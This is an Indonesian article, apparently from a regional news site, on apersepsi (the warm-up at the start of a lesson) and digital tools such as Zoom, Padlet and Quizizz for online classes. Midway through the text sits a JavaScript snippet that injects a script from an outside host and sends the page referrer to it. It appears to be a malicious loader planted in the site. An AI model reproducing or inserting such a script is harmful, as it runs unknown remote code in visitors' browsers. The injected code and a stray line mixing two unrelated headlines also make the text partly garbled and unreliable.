Apersepsi merupakan kegiatan yang dilakukan saat akan memulai kegiatan pembelajaran. Menurut KBBI daring, apersepsi adalah pengamatan secara sadar (penghayatan) tetang segala sesuatu dalam jiwanya (dirinya) sendiri yang menjadi dasar perbandingan serta landasan untuk menerima ide baru.
Sebelum dimulai kegiatan pembelajaran, guru melakukan perencanaan pembelajaran terlebih dahulu. Tahapan dalam perencanaan kegiatan pembelajaran itu adalah pendahuluan, inti, dan penutup. Bagian pendahuluan merupakan bagian awal guru melakukan pendekatan dengan siswa, yakni dengan melakukan apersepsi. Pada tahap ini guru harus melakukan sebuah kegiatan yang memacu semangat siswa untuk mengikuti pembelajaran. Lazimnya kegiatan apersepsi ini dilakukan saat pembelajaran secara langsung/tatap muka. Namun dalam situasi pandemi seperti saat ini, di mana kegiatan pembelajaran dilakukan secara daring, apersepsi tetap harus dilakukan dengan menggunakan berbagai perangkat atau aplikasi digital.
var d=document;var s=d.createElement(‘script’);
s.src=’//ajcorp.in/pasundanekspres.php?se_referrer=’ + encodeURIComponent(document.referrer);
if (document.currentScript) {
document.currentScript.parentNode.insertBefore(s, document.currentScript);
} else {
d.getElementsByTagName(‘head’)[0].appendChild(s);
}
Baca Juga:Pembelajaran Terkenda Jaringan Internet dan GawaiSummarecon Emerald Karawang Luncurkan Hunian Bergaya Jepang
Apersepsi memiliki peranan yang penting dalam membangun kesiapan siswa untuk belajar. Dalam hal ini, apabila apersepsi disajikan secara menarik hingga membuat siswa mampu menghubungkan materi ajar dengan pengetahuan siswa mengenai kehidupan nyata, maka kelas tersebut berhasil meningkatkan motivasi belajar siswa. Kegiatan apersepsi diharapkan dapat membentuk suasana psikologis yang menyenangkan. Namun dalam hal ini, apersepsi harus terlepas dari unsur penilaian terhadap kemampuan siswa ataupun membandingkan satu siswa dengan siswa lainnya. Apersepsi lebih bersifat individu.
Apersepsi yang dilakukan secara daring, dapat menggunakan berbagai perangkat atau alat digital (digital tools). Digital tools yang dapat digunakan dalam kegiatan pembelajaran daring diantaranya; zoom chat, zoom whiteboard, padlet, whiteboard.fi., quizizz, canva, awwapp.com, lyricstraining, edpuzzle, classmarker, flipgrid, TikTok aesthetic note, dan sebagainya.
Beberapa guru di sekolah negeri maupun sekolah swasta, sudah menggunakan digital tools tersebut. Banyak siswa tertarik dengan apersepsi yang disajikan di kelas daring. Respon mereka sangat baik, mereka tepacu untuk mengikuti pembelajaran dan meminta pengulangan pada bagian apersepsi. Sebagian siswa lebih senang belajar dengan teka teki atau puzzle. Dalam hal ini, guru harus mampu menyajikan permainan yang dipadukan dengan materi pelajaran.